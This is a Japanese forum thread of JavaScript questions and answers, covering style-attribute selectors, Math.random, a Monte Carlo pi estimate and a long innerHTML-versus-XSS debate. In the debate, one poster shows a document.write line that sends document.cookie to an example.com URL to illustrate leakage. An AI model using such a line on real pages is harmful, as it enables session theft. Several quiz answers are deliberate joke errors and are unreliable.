+ JavaScript の質問用スレッド vol.121 +
レス数が1000を超えています。これ以上書き込みはできません。
JavaScript に関する何でも質問スレです。
お気軽にどうぞ。 >>1
またお前か
教えて君を擁護するためのテンプレで新スレを無駄に量産するな どんだけスレ立てるんだよww
まぁスレ立てる手間省けていいけど
乙! 乙なわけないだろ
この手の擁護はワンパターンすぎるわ phpのstrip_tag()と同じことができる
方法を考えて >>8
ここは荒らしが立てたフライングスレだから他所へ行け 文字列がすべてASCIIかを調べる正規表現を教えて頂きたいのですが、
自分で調べたところ
/[\x01-\x7F]/g
と
/[\x20-\x7E]/g
この2つが見つかりました。
これはどっちを使えばいいのでしょうか?
詳しい方教えてください ごめんなさい、ここは現行スレじゃなかったようですね。
こちらでの質問は取り下げますので、下にお願いしますm(_ _)m
+ JavaScript の質問用スレッド vol.119 +
http://peace.2ch.net/test/read.cgi/hp/1409325796/ >>10
vol.119がある状況でvol.121をたてる必要はないから このスレは荒らしが立てたスレなので下記スレッドに投稿して下さい
+ JavaScript の質問用スレッド vol.119 +
http://peace.2ch.net/test/read.cgi/hp/1409325796/ 立てたのは荒らしかも知れないが、
スレ自体はまともなので問題ないのでは?
スレに問題があるっていう人、何人もいたっけ?
俺の知る限り一人しかいないよ。 この問題の答え誰かわかりますか?(*ω*)
《演習ドリル JavaScript(1)》
【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
【02】JavaScriptは、「 」で動くスクリプトです。空欄を埋めなさい。
1. サーバー 2.クライアント
【03】命令文(ステイタス)の終了を表す記号を書きなさい
【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい > 【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
LiveScript
>【02】JavaScriptは、「 」で動くスクリプトです。空欄を埋めなさい。
サーバーサイド等
> 【03】命令文(ステイタス)の終了を表す記号を書きなさい
なくてもよい
> 【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
cat js/sample.js
> 【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
<dialog id="alert">警告ウインドウ</dialog>
document.getElementById('alert').show()
> 【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
document.body.innerHTML = 'test';
> 【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
let
> 【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
<script>document.write('<' + '/script>こんにちは<' + 'script>')</script>
> 【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
bootbox.prompt("input", "cancel", "ok", function(msg) { alert(msg) });
> 【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい
[a,b]=[8,6],console.log(a/b) JavaScript を自ら学ぶ人のための質問スレッドです。
>>24-27のテンプレを読んだ上で質問してください。
■質問を書く上で
(1) 煽り、コード制作依頼等、人を不快にさせる投稿はご遠慮下さい。公序良俗を守った応対を心がけてください。
(2) 他の人に迷惑をかけるスクリプトの質問はご遠慮ください。
(ブラクラ、[戻る], [閉じる], [クリック] の妨害、画面占有など)
(3) 質問者及び議論を行う人はメール欄を空欄にし、名前にレス番を入れることを強く推奨します。回答者はなりすましを判断できませんので、なりすましが現れても自己責任となります。
(4) 常に自発的に調べる心構えを持ってください。
具体的には「自分で調べてから質問する」「回答をもらってわからない単語があればGoogle検索してみる」など。
わからない内容を代わりに調べてくれる回答者をお望みの方は余所で質問してください。
(5) 出来るだけ一般的な用語を使用してください。脳内オレオレ用語は混乱の元です。
(6) 出来るだけ「問題の事象が再現されること」を確認したサンプルコードを掲示してください。言葉による説明は行き違いが生まれる場合があります。
(7) サンプルコードに HTML が含まれる場合は http://validator.w3.org/ で [Check] してみてください。
(8) 質問を具体的かつ詳細に書くと回答を得られやすいです。>>2の質問テンプレートを活用してみてください。
(9) ライブラリ関連の質問は禁止です。関連スレにあるライブラリ質問スレで質問して下さい。
(10) 時にはあなたが望む「答え」だけでなく、「意見」などが寄せられる場合もあります。
■質問テンプレート
【環境】OS, ブラウザをバージョンと共に記入してください。(ex: IE8, Firefox4)
【何をしたのか】何をしたら問題の現象が発生するのか。再現手順を具体的に書いてください。
【エラーメッセージ】エラーメッセージがあれば正確に書き写してください。(Windows なら「コピット」を活用)
【期待する結果】最終的にどういう結果を望んでいるのか、を書いてください。
【サンプルコード】現象を再現可能な最小限のコードを書いてください。
1レスに収まらないならコード投稿サイトを利用してください。
http://jsdo.it/ http://jsbin.com/ http://jsfiddle.net/ http://ideone.com/ ■主要FAQ (全部は http://fiddle.jshell.net/vSqKr/33/show/ )
Q1. 別窓・フレーム内容やローカルファイルを読み書きしたいのですが…
A1. 別サーバのページやファイルの内容はセキュリティ制約でアクセス不可です。
Q2. document.write()でページ内容を追加したいのですが…
A2. 一度表示完了後にwriteするとページ内容が消去されます。DOM等別手段を。
Q3. table内容のinnerHTMLやDOMでの変更がうまく行かないのですが…
A3. IEではtable/tbody/trのinnerHTML書き換え不可です。DOMを使いますが、
DOMの場合tableの直下にはtbody要素が(作らなくても)あることに注意。
Q4. フォーム部品名を変数にした「...myform.変数名.value」が動きません…
A4. 「document.forms.myform.elements[変数名].value」でどぞ。
JavaScriptでは一般に「obj.x」と「obj['x']」は同じ意味です。
グローバル変数はwindowのプロパティなので「x」と「window['x']」も。
Q5. CSSで設定した背景色がe.style.backgroundColorで取得できないのですが…
A5. 取得には document.defaultView.getComputedStyle() を使う必要あり。
IEでは要素オブジェクトのプロパティcurrentStyleを使う。
Q6. setAttribute("class","foo")、setAttribute("onclick","bar()")が動きません…
A6. IEではそれは不可。「obj.className="foo"」「obj.onclick=bar」でどぞ。
Q7. タイマーやイベントハンドラに設定するコードにthisを含めたいのですが
「"...this..."」とか「function(){...this...}」ではうまく行きません。
A7. 実行時にthisが別のものを指してしまってる。以下のようにthisを束縛保存。
「function(x){return function(){...x...};}(this)」
Q8. input type="file"の値を設定(参照)できないのですが…
A8. セキュリティ制約のため設定は絶対に不可。参照はブラウザにより不可。
Q9. getElementById('ID名')や$('ID名')で要素が取れないのですが…
A9. コード実行時点でHTMLがそこまで読まれてない。window.onload 中でやるとか。 ■諸注意
vol.115でlodashを不必要に推奨して啓蒙する行為が多く確認されており、ライブラリ系の質問はvol.116から禁止されました。
vol.115,116ではライブラリ禁止する発言が見られた直後にライブラリを許可する意図で次スレを立てる行為が確認されています。
本スレッドでライブラリ許可を求める発言が確認された場合は不要な争いを避ける為、スルーすることを推奨します。
ライブラリの質問はライブラリスレへ誘導し、誘導行為への反論はスルーしてください。 HTML5のdrag&drop機能との連携について質問です
下のような図になっていて
http://i.imgur.com/MWODR7N.png
要素をdrag&dropすることは出来ました
次にドラッグしてきた時に重なった下の要素を取得しようと思い四角い要素にondragoverの属性を付けてドラッグしてみましたが
(図で言うと上の枠からドラッグしてきて既にある赤い四角と重なった時に下の赤い四角を取得しようとした)
重ねるとドロップされるボックス自体の要素が返ってきました
四角い要素を取得するにはどうしたらいいのでしょうか? >>30
こんなサンプル見つけたよ。
http://cdn.liginc.co.jp/demo/2014/07/zuya/dd/index4.html
参考になるかな?
$(function() {
$(".dragDiv").draggable();
$( "#div3" ).droppable({
accept : ".dragDiv" , // 受け入れる要素を指定
drop : function(event , ui){
// dragされてきたオブジェクトを取得してクローン作製
var dragId = ui.draggable.attr("id");
if($(this).find(".drop" + dragId).length == 0){
$(this).append('<span class="drop' + dragId +'">' + ui.draggable.text() + 'が置かれたよ</span>');
}
} ,
out : function (event , ui){
var dragId = ui.draggable.attr("id");
$(this).find(".drop" + dragId).remove();
}
});
}); こっちは荒らしが勝手にテンプレはずしたスレだから立て直しといたよ
誘導
+ JavaScript の質問用スレッド vol.121 +
http://peace.2ch.net/test/read.cgi/hp/1415213701/l50 >>33
幼稚なことすんなゴミ
新陳代謝の低い板なんだからスレがえんえん残るだろボケ テンプレなんて意味ないんだから立った順番に粛々と使っていけばいい
ここはvol22として利用する ここは実質vol.22なのか
では、>>33に移動しようか (function(a){
})(a||a=[]);
こんな感じだったかよく覚えてないけど
括弧の中で代入してるコード見たことあるんですけど自分で描いてみたらエラーになりました
aっていうのが存在しなかったら[]を渡したい場合はどう書けばいいですか? >>39
var a = a || [];
(function(a){
})(a); spanをgetElementsByTagNameで取得して
obj.style.color = 'red'ってやってbodyに挿入したんですけど
この挿入した要素をquerySelectorで取得したいんですがdocument.querySelector('span[style="color: red"]')で取得できません
javascriptからstyleを設定しないで直接HTMLに<span style="color: red"></span>って書くと取得できました
どうやったらjavascriptでstyleを設定した要素をquerySelectorで取得できるかおしえてください setAttribute使うのはなしでおねがいします
なかったらないでいいです >>42-43
それは恐ろしく悪い実装だからお勧めしない
素直に class や id を使え それは無理ですそういうコードを書いているWEBサービスを僕が使わせていただいている身で、便利にするブックマークレットを作りたいからです そういえばJavaScriptでCSSを書き換えると自動的に値が変換されることがあるよな
elm.style.color = "#ff0000"; // => color: rgb(255, 0, 0);
elm.style.width = "0"; // => width: 0px;
elm.style.margin = "0 1px 0 1px"; // => margin: 0px 1px;
どういう風に変換するのかは、仕様で決まってるのかな?
それともブラウザが勝手に決めてるのだろうか >>39
(function(a){
})(a || []);
こうじゃねーの? Uncaught ReferenceError: a is not defined じゃあこうだろw
(function(a){
})(window.a || []); それでもいいけど、aがfalseyだったら思わぬことになるから
(function(a){
})("a" in window ? a : []);
がいいんじゃない? >>39
関数外で宣言する必要がまるでない
(function(){
var a = a || [];
})(); >>45
では、面倒くさいが、
span[style="color:red"], span[style="color: red"], span[style="color : red"], span[style="color:#f00;"], span[style="color: #f00"]
のようにホワイトスペースやカンマの有無の全ての組み合わせを , 区切りで宣言しろ
ブラウザがstyle属性値をどのような書式で持つかは実装依存
ブラウザがバージョンアップして挙動が変更することも考えられるので必ず「全てのパターン」を宣言しろ >>51
それだと関数内の var で a が新たに宣言されてしまうので不可
var a = "test";
(function(){
var a = a || []; // 関数外の宣言に関わらず [] が代入される
})(); >>53
"test" でも [] でも良い状況ってどんなケース?
[] で初期化するんだからオブジェクトを想定していたんだが あと、その条件なら普通にグローバルコードで宣言しろよ、と思うね
var a = a || []; >>54
a = "test"じゃなくても{}でも[]でも同じこと
試せばわかる >>56
なるほど、これでいいかね?
var a = [];
(function(){
var a = this.a || [];
}).call(this); ここは実質vol.22です
質問者は以下のスレに移動してください
+ JavaScript の質問用スレッド vol.121 +(c)2ch.net
http://peace.2ch.net/test/read.cgi/hp/1415213701/ >>59
すまん、向こうで回答しなおしてきた
荒らすのもいい加減にして欲しい >>42
document.querySelector('span[style="color: red;"]')
ただしこっちの方が安定的
Array.prototype.filter.call(document.querySelectorAll("span"), function(e){ return e.style.color == "red;" })[0] $('span').filter(function() { return this.style.color = 'red'}) querySelectorの第2引数の情報MDNに乗ってなかったよく知ってるな 質問者は以下のスレに移動してください
+ JavaScript の質問用スレッド vol.121 +(c)2ch.net
http://peace.2ch.net/test/read.cgi/hp/1415213701/ >>46
>どういう風に変換するのかは、仕様で決まってるのかな?
要素 element の element.style の戻り値が実装する
CSSStyleDeclaration インタフェースの
getPropertyValue() メソッドを呼び出したときの
戻り値の書式は CSSOM で決まってる。
(たぶんこれが element.style.xxx でアクセスしたとき得られる値だろう)
color の場合
"rgb(R, G, B)" (不透明度 1 の場合)または
"rgb(R, G, B, A)"
になる(R, G, B は10進数で A は小数、カンマの後はスペース)
element.style.color = ... で設定したときに element の style 属性にも
同じように反映されると考えるのが自然だが、仕様には書かれてないね
HTML 仕様にも style 属性のふるまいについて
www.w3.org/TR/css-style-attr/
を参照しているが
element.style.color = ... で値を設定したときについては
どうも書かれてないみたい > span[style="color : red"],
これだと、例えばbackgroudが定義された時
色は赤なのにマッチしなくなるぞ というかユーザースタイルシート(CSS)を書いてるのならともかく、
JavaScriptのコードを書いてるのにstyle属性をセレクタで
取得しようというのはセンスが悪いよ。 >>68
span[style="color: red"], span[style="color : red"], span[style="color :red"],
span[style^="color: red;"], span[style^="color : red;"], span[style^="color :red;"],
span[style^="color: red ;"], span[style^="color : red ;"], span[style^="color :red ;"],
span[style*=";color: red;"], span[style*=";color : red;"], span[style*=";color :red;"],
span[style*=";color: red ;"], span[style*=";color : red ;"], span[style*=";color :red ;"],
span[style$=";color: red;"], span[style$=";color : red;"], span[style$=";color :red"],
span[style$="; color: red;"], span[style$="; color : red;"], span[style$="; color :red"]
のように部分一致にすれば良い
これでも足りないが、ホワイトスペースの組み合わせを考えると、気が遠くなる
>>69
querySelector がナンセンスなのは同意だが、querySelectorでないと困ると駄々をこねるので>>52で回答した
ComputedStyle を取るほうがまだマシだな >70に付け加えるなら「color: #f00, color: #ff0000, color: red, color: rgb(255, 0, 0)」のパターンもある
ホワイトスペースや ; の組み合わせパターンも考えると、かなり大変だな
ナンセンスな実装には違いない function abc(){
var result = aaaa();
result.ok = function(e){
〜
}
}
って書くのと
function ok(){
〜
}
function abc(){
var result = aaaa();
result.ok = ok;
}
}
って書くのどっちがメモリにやさしいですか?
前者はabc()を呼ぶたびに中の無名関数が生成されていってメモリの無駄になる気がするんですが >>72
実際にベンチマーク取ればわかるだろ?
わからければ・・・・違いはないということさ。 なんかあっちはわざと?くだらない話ばかりして
グダグダしてるから、こっちにまともな答え書いておくわ。
Math.random() は0から1未満の数を返す。だから0にはなるが1.0にはならない。
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random
> [0,1) 、……つまり、0 以上 1 未満の範囲で疑似乱数を返します。Java と同様に、現在時刻をシードとして乱数を生成します。
求めたい値が、0〜5であれば、0, 1, 2, 3, 4, 5 の6パターンなので
Math.floor(Math.random()*6)が正解。
Math.random()が1がでるのであれば、1×6 = 6になるが、
1未満を返すので6未満、つまり最大でも5.9999・・・の小数点切り捨てで5が最大になる。
0〜1未満を6倍すると以下のようになるから、計算上は公平になる。
Math.floor(0 〜 0.9999・・・) = 0
Math.floor(1 〜 1.9999・・・) = 1
Math.floor(2 〜 2.9999・・・) = 2
Math.floor(3 〜 3.9999・・・) = 3
Math.floor(4 〜 4.9999・・・) = 4
Math.floor(5 〜 5.9999・・・) = 5
Math.floor(Math.random()*6) - 1; だとrandom() = 0の時
Math.floor(0*6) - 1 = Math.floor(0) - 1 = -1 なので明らかに間違い。 >例えばさ、乱数が0.0から0.9まで出るとするじゃん
>そうすると
>0.0*6=0.0
>0.1*6=0.6
>0.2*6=1.2
>0.3*6=1.8
>0.4*6=2.4
>0.5*6=3.0
>0.6*6=3.6
>0.7*6=4.2
>0.8*6=4.8
>0.9*6=5.4
>になって偏りがでるよね
>実際には問題にならないだろうけど
>凄い気になる
ってのがあったんだけど、まあいいや
ありがとう こっちもぐだぐだ感あふれてるわ
さっきはあっちのスレにたまたま人が多かっただけで何も変わらん >>76
>例えばさ、乱数が0.0から0.9まで出るとするじゃん
それは精度が低い(小数点第一位で終わってる)から。
random()が浮動小数点数を返すのは
精度が高く無いと、数値をかけた時に狂うから。
例えば0〜5ではなく、0〜99の時は
Math.random()*100になるが
0.4 だと 40、0.5 だと 50。41〜49が出る確率は0になってしまう。
これが0.4〜0.5の間もちゃんとでるのであれば、
0.41*100 = 41、0.42*100 = 42 のようにちゃんとでてくれる。
random()が0〜1未満の浮動小数点数(なるべく小数点以下が多い数)を
返すのは、ある範囲の整数を返すときに必要な「任意の数をかける」時に
問題ないようにするためなんだよ。
君が言ってる隔たりの原因は精度が低いから。 >>77
なんで始まってからすぐグダグダになるんだよw なんでこんなこと聞いてたかっていうと
以下のコードで円周率を計算しようと思ったんだけど
ちゃんとした数値が出なくて
どこがおかしいのか添削してくれ
凄い遠回りしてるのは、自覚してるので
出来れば大幅な改変は無しでお願いします
var arr = new Array();
for (m = -50; m < 51; m++) {
for (n = -50; n < 50; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}
function crd() {
var rdm = arr[Math.floor(Math.random() * 10201)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}
var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 2500) {
j++;
}
}
document.write("π≒" + j * 4 / 100000); >>79
こっちは>>39や>>42に対する回答がぐだぐだだったし、何も変わらん > 0.2*6=1.2
> 0.3*6=1.8
> 0.4*6=2.4
> 0.5*6=3.0
ここだけを見ると2が出る確率が低いようだけど、実際は
0.00000 <= x < 0.16666… = 0
0.16666 <= x < 0.33333… = 1
0.33333 <= x < 0.5 = 2
0.5 <= x < 0.66666… = 3
になるから、どれも0.166666…ずつで、
ちょうど同じ数なんだよなね。 >>42>>46>>52>>67>>70>>71
elm.style.xxx に値をセットした時には setPropertyValue() が呼び出される
http://www.w3.org/TR/cssom/#dom-cssstyledeclaration-camel-cased-attribute
「Setting the camel-cased attribute attribute must invoke setProperty() ...」
その際に値が自動変換される
http://www.w3.org/TR/cssom/#serialize-a-css-component-value
実際の定義は細かいけど、例として…
keyword は、小文字に変換される(RED は red になる。決して rgb() や #xxx などには変換されない)
<color> は、rgb(x, x, x) 又は rgba(x, x, x, x) に変換される。値同士は ", "(カンマ・スペース) で区切る
<length> で値が 0 の場合は、0px に変換される
さらに、style属性の文字列が更新される
http://www.w3.org/TR/cssom/#dom-elementcssinlinestyle-style
「Mutating the declarations must set the style content attribute ...」
その際の文字列の生成方法は、http://www.w3.org/TR/cssom/#serialize-a-css-declaration-block に記載されている。
概説すると、
[1] それぞれの宣言を「プロパティ名 + ": " + 値 + ";"」の形式にする。
. その際、ショートハンドプロパティで表せるならそれを用いる
[2] それぞれを " " で結合する
…というわけで、ブラウザが CSSOM に則っているなら、
elm.style.color = "red"; としたら style="color: red;" になるし、>>46 の各々の変換も仕様に沿ったものである。
ただし、CSSOM はまだ Working Draft なので、上記の仕様に沿っていないブラウザも多数あるのが事実。
とは言っても >>42 の場合は自分が動かす分で動作すればいいだけなので、自分の環境で動くものを回答レスから適当に拾えばいい。長文すまん >>81
そのコードが何をやってるのかさっぱりわからんけど
(SQUEAKとかいうやつみたいだけど考えるの面倒くさいw)
以下のように数値変えたらそれっぽくなったよ。
何か計算間違ってるんじゃね? 点の取り方とか個数とか枝切の値とか
var arr = new Array();
for (m = 0; m < 1000; m++) {
for (n = 0; n < 1000; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}
function crd() {
var rdm = arr[Math.floor(Math.random() * 1000000)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}
var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 1000000) {
j++;
}
}
console.log("π≒" + j * 4 / 100000); >>81
初めから10201個の点の位置を決めている、というのがナンセンス
この時点で π の正確な値は出せない
極端な例で言うと、3x3の9個の点だと、中央の1点しか円の内側にないでしょ?
改善する方法は、点の位置を毎回ランダムに決めること
頑張れば100文字ぐらいでコード書けるよ >>84
つまり、CSSOM 仕様準拠の実装なら
document.querySelector('span[style^="color: red;"], span[style*="; color: red;"]');
で>>42の目的を達成できるわけか
勉強になった、ありがとう >>86
10201個じゃ少ないってこと?
これだと上手くいく
var arr = new Array();
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000); > var arr = new Array();
> for (m = -50; m < 51; m++) {
> for (n = -50; n < 50; n++) {
> arr.push([m, n]);
> }
> arr.push([m, n]);
> }
50と51の違いも気持ち悪いが、ここを変えても変化はなかった。
2番目のarr.pushも気持ち悪いが、arr.length = 10201で
ランダムの最大とも一致するから間違ってないだろう。
> for (i = 0; i < 100000; i++) {
この100000はサンプル数だろう。単純に10倍したら結果も10倍になった。
j * 4 / 100000 の 100000と同じであれば数が多ければなんでも良さそうだ。
で最期に怪しかったのが、
> if (crd() < 2500) {
2500という数字で2500というのは50 * 50 だが
これは51 * 50 = 2550ではないのかね?
と思って変えてみたら、それらしくなったぞw
相変わらず数学的な意味はさっぱりわからんが(笑)
コードの一貫性における違和感のみからバグ取りしてみた。 >>90
確かにその違和感は自分でも感じた
でも理論的には間違っていない・・・はず
円周率を求めると言う課題は89のコードでクリアしたから
あとは何故このコードが上手く動かないかだけ
すっきりしたい
半径50の円を描いていることになるから2500で
間違いないはずなんだけどな
少しそこんとこ突き詰めて考えてみるか <<93
そうだな
こうしたら多少良くなったから
多分初期値が少なすぎたんだと思う
レス下さった皆さん有難う御座いました
var arr = new Array();
for (m = -500; m < 501; m++) {
for (n = -500; n < 500; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}
function crd() {
var rdm = arr[Math.floor(Math.random() * 1002001)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}
var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 250000) {
j++;
}
}
document.write("π≒" + j * 4 / 100000); >>94
これ、ループでランダムに要素をとる意味が全くないぞ
まずはプログラミングじゃなくて数学の勉強しろ >>95
こういうこと?
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000); いまだにinnerHTML使ってる奴見ると吐き気がする 場合によると思うけどね
jQueryにも使われてるし、仕様に書かれているくらいだし 意味不明
innerHTMLは普通に使っていいっていう結論が出たはずだが? まあこの辺りでさんざん語られたことのコピペかな
+ JavaScript の質問用スレッド vol.117 +
http://peace.2ch.net/test/read.cgi/hp/1403330196/531- >>100
なにいってんのjQueryもメインはremoveChildで消してるんだけど だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ 適材適所
原理主義はアホ
っていう結論になったはずだが? 適材適所ってなんだよ遅くて非効率なものを使う必要はねえんだよ >>103
> だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
速かったよ。
一見文字列を解釈する必要がある分時間がかかるから
不思議に思えるが、JavaScriptがネイティブでないのが原因。
innerHTMLだと、代入した後は
すべてネイティブで処理されるから早いが、
それと同等なことをネイティブでないJavaScriptでやると
1つずつオーバーヘッドが加わる。
あとさすがにブラウザ、HTMLテキストを解釈するのが仕事だけあって
相当チューニングされてる。 >>103
遅くなるのは
innerHTML += string
を繰り返す場合だけだと思うが
これは前に挿入されたHTMLの構文解析を重複して繰り返す
ことに他ならない。遅くなるのは当然でベンチマークとして不公平
純粋な意味で innerHTML が劇的に遅いとされるベンチマーク結果はあるの? innerHTMLが敬遠されるのは速さじゃなくてXSS問題の方が大きいと思う
>>96がinnerHTMLを使ったコードだったら、>>07は吐き気を覚えるのだろう 初心者がinnerHTMLが1番って結論を出したらそれがこのスレの総意のように扱うな innerHTML推し派はDOM XSSとか知らない 両者の長所短所を知っている人ならば、どっちか片方だけがいいだなんて言わない XSS問題はinnerHTMLが抱える根幹の問題
XSSの発生しない方法があるなら、セキュリティ意識の高い人はinnerHTML以外を選択する
XSSに目をつぶるとしても、textContent, TextNode#data, insertAdjacentHTML に言及されるべきなのだが、既に>101で語り尽くされてる >>116
DOM追加でinnerHTML使ったらXSSが発生するよ? appendChildがわざわざエスケープしてくれるのに手動でやるのか? おっと、appendChildがエスケープって語弊があるな 手動ですればいいじゃん
innerHTMLの大きな問題点はXSSじゃない innerHTMLの問題はXSS以外にもあるが、既に>>101で議論されたので改めて議論する事もない >>118
> DOM追加でinnerHTML使ったらXSSが発生するよ?
なら、XSSが発生しないように
チェックすればいいだけじゃないの? >>125
テキストノード操作すればチェックする必要がない
故にチェックミスも発生しない >>125
テキストノード操作すればチェックする必要もない innerHTMLはXSSが問題だと言っている人は、innerHTMLを使ってはいけないっていう主張なの? jQueryを立てにして逃げんなよ
お前の言葉で反論どうぞチキン jQueryは使わないって言えばいいだけなのに、なんで煽るんだろうね 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
innerHTML なら一行で済みます。十分大きな利点です
このコードも innerHTML を使わずに書くというのなら、私の負けです。毎日仏壇に掲げて尊敬します 基本的にjQueryでもinnerHTMLを利用しているAPIは使わない
使わなくて困ったことがない >>134
> 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
まず、JavaScriptコード内にコンテンツを埋め込むという設計があり得ないから、そういうコードがあるなら設計から見直す
HTML上に用意されているコンテンツをJavaScriptで改変するのが基本
外部コンテンツを利用する場合は XML, CSV, JSON 等の整形フォーマット化されたデータをJavaScriptで取得して一定規則に則った方法でHTML出力する これらを実装する時には innerHTML は使わない
createTextNode, createElement, appendChild 等のDOM操作を使う 確かに。言われてみればそうですね
innerHTMLを使うこと自体は問題ないけど、そもそも使う機会がないですし、使うような設計は見直すべきですね
大変失礼しました。今から仏壇に掲げてきます >>136
>XML, CSV, JSON 等の整形フォーマット化されたデータを
コード内に埋め込むかどうかは別として
HTML 自体も整形フォーマット化されたデータなので
外部から取得したHTMLデータをinnerHTMLで直接的に放り込むことは
ありだと思うよ >>139
> HTML 自体も整形フォーマット化されたデータなので
ここでいう整形フォーマットとはデータフォーマットを指し、次の効果を期待する
- 他のフォーマットに容易に変換できる
- JavaScriptで解析できる
- DOMとして再構築できる
例えば、2列のCSVフォーマットがあるなら、Excelで編集可能な上にJavaScriptからdl要素、table要素として出力可能だろう
データはシンプルでなければならないし、JavaScriptで出力する時に様々な形式で出力可能な事を期待する
HTMLは論理構造といわれるが、データ構造としては余計な要素が多すぎる
table要素は比較的データ構造として使えるが、2次元データなら CSV, JSON の方が容易に扱えるだろう
DOM操作前提ならXMLの方が拡張性が高い >>141
テンプレートHTMLは現状、JavaScriptでincludeするのは筋が悪い
もし、そういう意味で innerHTML を使用しているのならサーバサイドに任せるべきだ >>142
あ、HTML Templatesっていうのは、HTML5のtemplate要素のことね >>143
なるほど、失礼した
http://www.html5rocks.com/ja/tutorials/webcomponents/template/
HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が高い
ついでにtemplate要素と innerHTML に関連性を見出せないのだが、どういう理屈で何が解決するのだろうか また意味もなくinnerHTMLはXSSが起きるって
言ってる奴いるのか?
XSSが起きる条件わかってないだろ。
外部から渡された任意のHTMLを処理するときだけだぞ。
ここまで言えば、まずありえない話だって気づくよな?
反論したいなら、具体的に起きる条件を書いて反論してくれよな。 >>147
どんなデータが来るのかを
知ることが不可能なもののこと
例えばユーザーが入力するデータは
知ることが不可能。 >>149
内部は自分で書いたコード
例えば、自分で、HTMLに
<script>document.write('http://example.com/?' + document.cookie')</scrpt>
って書いたら、cookieの内容が外部サイトに漏れて危険じゃないですか。
document.writeは危険です!っていう馬鹿はいないだろう? 訂正
× <script>document.write('http://example.com/?' + document.cookie')</scrpt>
○ <script>document.write('<img src="http://example.com/?' + document.cookie' + '">")</scrpt> >>144
> HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
物による。
処理がJavaScriptだけで完結するようなものは、JavaScriptで生成して良い。
例えば、OKボタンだけのalertや、入力項目があるだけのconfirmの
代わりとなるダイアログライブラリとかね。
でも、任意のHTMLの内容をダイアログにだす。なんてものは
JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
というかそういうことをするためにtemplate要素がある。
「テンプレートの内容が引数になる場合」と考えればいい。
なお、外部から渡されるHTMLではない場合、
XSSは発生しないので、innerHTMLを使うとシンプルで分かりやすくなる。
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が
つまり「JavaScript側でtemplateとなる要素ノードを生成」するときにHTMLで
var html = '<table><tr><td>なんとか</td></tr></table>'; みたいに書いて要素ノードを生成すると
わかりやすいだろう? これだけのものがたった一行で書けたしね。 本質はHTML断片をHTMLに置きたいか
JavaScriptに置きたいかってことなんだよな。
HTMLに置きたいならば、template要素。
JavaScriptに置きたいならば、・・・ヒアドキュメントが欲しい。
工夫次第でヒアドキュメントっぽいことができるのは知ってるけどね。 >>152
少なくとも私の運用法ではtemplate要素にメリットは感じなかった
既存のHTML改変ならtemplate要素を使う必要がないし、外部データからDOMを起こすならノード管理するほうが便利
innerHTML を利用したい場面は見つからなかった
> でも、任意のHTMLの内容をダイアログにだす。なんてものは
> JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
「ダイアログ」の定義が不明だが、HTMLで出来ているのならノード操作だけで十分に完結できる
後は元となるデータをどこから引っ張るかによるのだが、いずれにしてもデータを取得してDOMを構築する手法は何も変わらない > HTMLで出来ているのならノード操作だけで十分に完結できる
完結できるかどうかではなく、
重要なのはシンプルに完結できるかどうかだ。
その点が見えてないと、コードはムダに複雑になるばかりだぞ。 >>153
> 本質はHTML断片をHTMLに置きたいか
> JavaScriptに置きたいかってことなんだよな。
私に言わせれば、そこは本質じゃない
そもそも、HTML断片で管理せず、データで管理する
HTMLはデータとしては余計な情報が多い >>156
今話をしているのは、データではない。
"単純にHTMLに変換するデータ" だ
データだけ書いてそれをHTMLに変換するなら
そんな無駄な作業は無くして直接HTMLを生成したほうが
わかりやすい。
反論したいなら、
var html = '<table><tr><td>なんとか</td></tr></table>'
任意の要素.innerHTML = html;
これをシンプルに書いて見せてみ。 >>157
>>136の繰り返し
そんな設計にはしない >>158
なんで「俺はしない」が反論になると思ってんの?
お前がどうとか関係ねーよ。
innerHTMLをコードで書いたら
シンプルに出来ないだろう? >>159
使う必要がないのだから使わない
